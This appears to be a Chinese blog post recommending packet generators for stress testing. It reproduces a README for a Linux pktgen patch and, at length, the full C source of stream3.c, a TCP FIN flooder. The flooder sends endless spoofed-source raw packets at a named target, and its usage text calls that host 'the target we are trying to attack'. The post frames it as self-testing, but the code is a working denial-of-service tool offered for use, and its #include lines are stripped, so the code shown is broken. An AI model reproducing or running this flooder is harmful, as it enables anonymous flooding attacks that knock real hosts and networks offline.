`
- 浏览:
239269 次
- 性别:
- 来自:
北京
-
如果想做模仿网络攻击的测试,选择高速小包发送工具,最好还是可以指定协议的。当然,我们研究这些可不是打算用来攻击他人的机器,搞网络破坏的,而是用来通过该方法测试收数据体验一下被攻击的感觉,哈哈,也顺便衡量一下机器的性能。这方面smartbit测试仪可以完全可以满足。可惜啊,一台都得好几十万,对于大多数人来说都不太划算。那么还有没有软件的发包工具可以实现高速按指定协议发送数据包啊?!有。还是要归功于linux的开源精神的许多网络黑客的无私奉献。我们可以采用linux内核自带的发包工具pktgen,或者经常被用来进行网络攻击的stream源代码。
不过目前stream.c是比较老的版本了,现在我们可以使用改进而来的stream3.c或stream3o.c来完成我们的发包任务,很不错啊,在源码里面修改for循环的次数,就可以指定发包数量。然后编译源码运行,指定自己想要的参数,就可以达到目的了。呵呵!
The packet size distribution enhancement of the
Linux Kernel Packet Generator:
----------------------------------------------------------
Table of Contents:
I. How it works
II. How to use the new enhancements
III. How to install this module
IV. What i have change in the code
First of all I want to mention that this patch was only tested on a x86
PC with a v2.6.8 Linux Kernel. But please report problems to me:
fabian_at_net.in.tum.de (substitute "_at_" with "@")
I. How it works:
-----------------
When a new packet shall be generated, a new packet size has to be
determined. Therefore we randomly choose an entry of the (so called)
outliers array. This array contains packet size values of those packet
sizes which appear very often in the distribution which shall be
represented. If we read a -1 in this array, none of these packet sizes
is choosen, therefore we need to choose randomly again. But this time we
use another array---the so called histos array. In this array the entrys
are the lowest packet size of the bin which it is representing. For this
reason we need to add random jitter of maximal the width of such a bin
(called hist_width below) to this obtained packet size.
II. How to use the new enhancements:
------------------------------------
1. Read the original pktgen.txt
2. The following three new commands for the /proc interface were added:
dist:
pgset "dist 1000 20 1500 33 75"
This is used to set up the Linux Kernel Packet Generator for excepting
the distributions entered by the "outl" and "hist" commands. The syntax
is: dist
With the size of the array used for generating the
different packet sizes is set. This is directly influencing how high
the resolution of the different entrys is.
The sets the width of a bin.
The sets the maximum packet size.
The and define how many lines of "oult" and
"hist" have to follow until the input distribution is complete.
outl:
pgset "outl 40 179"
Syntax: outl
This instructs the Generator to fill of the outliers array
with the packet size
hist:
pgset "hist 40 91"
Syntax: hist
This instructs the Generator to fill of the histos array
with the packet size , to which jitter will be added.
3. To activate the distribution you have to switch the PKTSIZE_REAL flag
pgset "flag PKTSIZE_REAL". This will only succeed if the distribution
is complete and correct, indicated with the DIST_READY flag.
III. How to install this module:
--------------------------------
1. Download the source code:
http://www.net.in.tum.de/~schneifa/sources/pktgen-lkpg-dist-0.1.tar.gz
2. unpack the tar archive:
tar -xvzf pktgen-lkpg-dist-0.1.tar.gz
3. Copy the new pktgen.c over the old:
cp pktgen-lkpg-dist-0.1/pktgen.c /usr/src/linux/net/core/pktgen.c
4. Compile the new pktgen.c:
cd /usr/src/linux/net/core
make -C /usr/src/linux SUBDIRS=$PWD modules
5. Install the new module:
cd /usr/src/linux
make modules_install
6. use it!
/*
stream3.c - TCP FIN packet flooder
patched from stream.c by 3APA3A, 2000
3APA3A@security.nnov.ru
*/
#include
#include
#include
#include
#include
#include
#include
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include
#include
#include
#include
#include
#include
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
struct ip_hdr {
u_int ip_hl:4, /* header length in 32 bit words */
ip_v:4; /* ip version */
u_char ip_tos; /* type of service */
u_short ip_len; /* total packet length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* ip checksum */
u_long saddr, daddr; /* source and dest address */
};
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
u_long th_seq; /* sequence number */
u_long th_ack; /* acknowledgement number */
u_int th_x2:4, /* unused */
th_off:4; /* data offset */
u_char th_flags; /* flags field */
u_short th_win; /* window size */
u_short th_sum; /* tcp checksum */
u_short th_urp; /* urgent pointer */
};
struct tcpopt_hdr {
u_char type; /* type */
u_char len; /* length */
u_short value; /* value */
};
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
u_long saddr, daddr; /* source and dest address */
u_char mbz, ptcl; /* zero and protocol */
u_short tcpl; /* tcp length */
};
struct packet {
struct ip/*_hdr*/ ip;
struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short dstport, pktsize, pps;
u_long dstaddr;
int sock;
void usage(char *progname)
{
fprintf(stderr, "Usage: %s \n",
progname);
fprintf(stderr, " dstaddr - the target we are trying to attack.\n");
fprintf(stderr, " dstport - the port of the target, 0 = random.\n");
fprintf(stderr, " pktsize - the extra size to use. 0 = normal syn.\n");
exit(1);
}
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
u_long lookup(char *hostname)
{
struct hostent *hp;
if ((hp = gethostbyname(hostname)) == NULL) {
fprintf(stderr, "Could not resolve %s.\n", hostname);
exit(1);
}
return *(u_long *)hp->h_addr;
}
void flooder(void)
{
struct timespec ts;
int i;
memset(&packet, 0, sizeof(packet));
ts.tv_sec = 0;
ts.tv_nsec = 10;
packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x08;
packet.ip.ip_id = rand();
packet.ip.ip_len = FIX(sizeof(packet));
packet.ip.ip_off = 0; /* IP_DF? */
packet.ip.ip_ttl = 255;
packet.ip.ip_dst.s_addr = dstaddr;
packet.ip.ip_src.s_addr = random();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
packet.tcp.th_win = htons(16384);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 5; /* 5 */
packet.tcp.th_urp = 0;
packet.tcp.th_ack = rand();
packet.tcp.th_flags = TH_ACK|TH_FIN;
packet.tcp.th_sport = rand();
packet.tcp.th_dport = dstport?htons(dstport):rand();
/*
packet.opt.type = 0x02;
packet.opt.len = 0x04;
packet.opt.value = htons(1460);
*/
s_in.sin_family = AF_INET;
s_in.sin_port = packet.tcp.th_dport;
s_in.sin_addr.s_addr = dstaddr;
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.saddr = packet.ip.ip_src.s_addr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
cksum.tcp = packet.tcp;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
for(i=0;;++i) {
if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr
*)&s_in, sizeof(s_in)) < 0)
perror("jess");
}
}
int main(int argc, char *argv[])
{
int on = 1;
printf("stream3.c v0.01 - TCP FIN Packet Flooder\n modified by 3APA3A@security.nnov.ru\n");
if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(1);
}
setgid(getgid()); setuid(getuid());
if (argc < 4)
usage(argv[0]);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(1);
}
srand((time(NULL) ^ getpid()) + getppid());
printf("\nResolving IPs..."); fflush(stdout);
dstaddr = lookup(argv[1]);
dstport = atoi(argv[2]);
pktsize = atoi(argv[3]);
printf("Sending..."); fflush(stdout);
flooder();
return 0;
}
分享到:
Global site tag (gtag.js) - Google Analytics
相关推荐
Pktgen-DPDK是网络测试领域中一个重要的开源项目,它是...解压后,开发者可以按照DPDK的指导文档进行编译和配置,开始使用这个强大的发包工具。通过不断探索和调整Pktgen的参数,可以实现对网络性能的深入理解和优化。
pktgen是一个强大的网络性能测试工具,它能够生成大量的数据包并发送到网络接口,用于测试网络设备和系统的性能、带宽、延迟以及稳定性。这个工具使用DPDK(Data Plane Development Kit)库,DPDK是一个由Intel开发...
总的来说,pktgen-dpdk是一个强大的网络性能测试工具,结合DPDK技术,为网络工程师和开发者提供了一个高效、灵活的平台,以评估和优化网络基础设施的性能。通过深入理解和使用pktgen-dpdk,我们可以更好地理解和调试...
需要注意的是,pktgen并不是一个全方位的测试工具,它主要提供了一种高效的方式直接访问主机系统的NIC驱动/芯片的发送过程,并绕过了大部分的Linux网络栈。因此,使用pktgen需要管理员权限。 ##### 功能特性 - **...
pktgen是一个位于linux内核层的高性能网络测试工具,由瑞士皇家理工大学的TSlab实验室的Robert Olsson开发的(现在应该不在皇家理工了),主要用来测试网络驱动与网卡设备,支持多线程,能够产生随机mac地址、IP地址...
pktgen是一个位于linux内核层的高性能网络测试工具,由瑞士皇家理工大学的TSlab实验室的Robert Olsson开发的(现在应该不在皇家理工了),主要用来测试网络驱动与网卡设备,支持多线程,能够产生随机mac地址、IP地址...
pktgen是一个位于linux内核层的高性能网络测试工具,由瑞士皇家理工大学的TSlab实验室的Robert Olsson开发的(现在应该不在皇家理工了),主要用来测试网络驱动与网卡设备,支持多线程,能够产生随机mac地址、IP地址...
最近非常缺积分,鄙人又没钱,把刚入门时,因...适合刚接触dpdk 或 pktgen的人 修改两个功能: 1)增加tcp包类型的发送,syn、ack、rst等等 2)增加随机功能,随机ip、port(原本的随机功能太不方便的,还得进行计算)
Pktgen, (Packet Gen-erator) is a software based traffic generator powered by the DPDK fast packet processing framework. Some of the features of Pktgen are: • It is capable of generating 10Gbit wire ...
数据包流输出到pcap转储文件,该格式与tcpdump使用的格式相同,并且是许多使用libpcap网络工具所支持的格式。 本地依赖 可以使用pktgen-localdeps脚本运行pktgen ,并将其依赖项安装在本地virtualenv中,该依赖项...
标题中的“pktgen网络测试,修改多核bug”和描述中的“pktgen网络测试,修改多核版本”都提到了pktgen,这是一个知名的开源网络性能测试工具,主要用于测量和分析网络设备的性能。pktgen使用高级语言编写,可以生成...
dpdk_pktgen 使用 DPDK 构建高性能 - 基于 Linux 的流量生成器 我们并不总是可以使用基于硬件的流量生成器,因为它们往往非常昂贵或只能在实验室中使用。此 repo 中的代码允许我们构建软件数据包生成器。 它作为此...
Pktgen-DPDK, Pktgen是由DPDK供电的流量发生器 英特尔 在 http://dpdk.org/download 中,最新版本的pktgen DPDK Pktgen是由英特尔提供的由intel速率流量和 64字节帧组成的流量发生器。 的声音像'数据包生成'Wiles @ ...
在实际测试中,我们通常会结合使用这些工具,先通过ping6和tracert6检查基础连通性,然后利用igmpv6工具测试组播成员管理,接着用iperf6或pktgen-dpdk进行性能测试,最后通过Wireshark分析数据包以定位可能的故障点...
科来数据包生成器,windows下能实现数据包的回放、能自动计算校验和。linux下就用pktgen了。
标题中的“pcap-重放工具”指的是网络分析和测试中常用的一种技术,它涉及到对捕获的网络数据包(通常以pcap或pcapng格式存储)进行回放,以便于模拟网络流量、测试网络设备性能或者进行安全分析。在IT行业中,这种...
vrouter-pktgen测试 pktgen-DPDK 脚本启动Pktgen-DPDK并测试Contrail-vRouter的性能。 如果需要,请调整dpdkgen.cfg。 用法: dpdkgen [目标节点的IP地址] [测试脚本的路径] 示例:dpdkgen 192.168.0.1 vrouter...
p4蛋白介绍p4pktgen是用于为覆盖程序所有路径的P4程序生成输入数据包和表条目的工具。 它支持使用该语言的P4_14或P4_16变体编写的程序,只要该程序可以使用开源p4c-bm2-ss编译器( 存储库的一部分)进行编译,然后...